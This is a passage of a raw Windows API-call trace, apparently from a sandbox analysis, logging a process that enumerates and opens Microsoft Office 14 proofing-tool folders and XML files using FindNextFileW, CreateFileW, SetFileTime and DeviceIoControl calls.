ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0055.256] GetLastError () returned 0x12 [0055.256] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0055.256] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0055.256] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0055.256] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.256] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0055.256] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.256] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.339] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0055.339] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0055.339] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0055.340] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0055.340] NtClose (Handle=0x188) returned 0x0 [0055.340] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.340] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.340] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0055.340] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.340] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.340] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0055.340] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0055.340] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.340] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0055.340] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.340] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.340] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.340] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.340] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.340] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0055.340] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0055.340] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf96000 [0055.340] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf99e28 [0055.340] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.340] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0055.340] GetLastError () returned 0x12 [0055.340] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0055.340] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0055.341] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.341] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0055.341] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0055.341] GetLastError () returned 0x12 [0055.341] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0055.341] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0055.341] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0055.341] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.341] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0055.341] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.341] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0055.359] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0055.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0055.359] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0055.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0055.359] NtClose (Handle=0x18c) returned 0x0 [0055.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0055.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0055.359] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0055.360] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.360] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0055.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0055.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0055.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf96020 [0055.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf99f30 [0055.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.360] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0055.360] GetLastError () returned 0x12 [0055.360] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0055.360] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0055.360] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.360] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0055.360] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0055.360] GetLastError () returned 0x12 [0055.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0055.360] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0055.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0055.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.360] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="")) returned 1 [0055.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.361] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.361] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0055.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0055.361] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0055.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0055.361] NtClose (Handle=0x188) returned 0x0 [0055.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0055.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0055.361] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0055.361] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.361] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0055.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0055.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0055.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf96040 [0055.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9a038 [0055.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.362] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0055.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.385] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.385] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.386] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.386] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf96060 [0055.386] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9a140 [0055.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0055.386] GetLastError () returned 0x12 [0055.386] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0055.386] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, 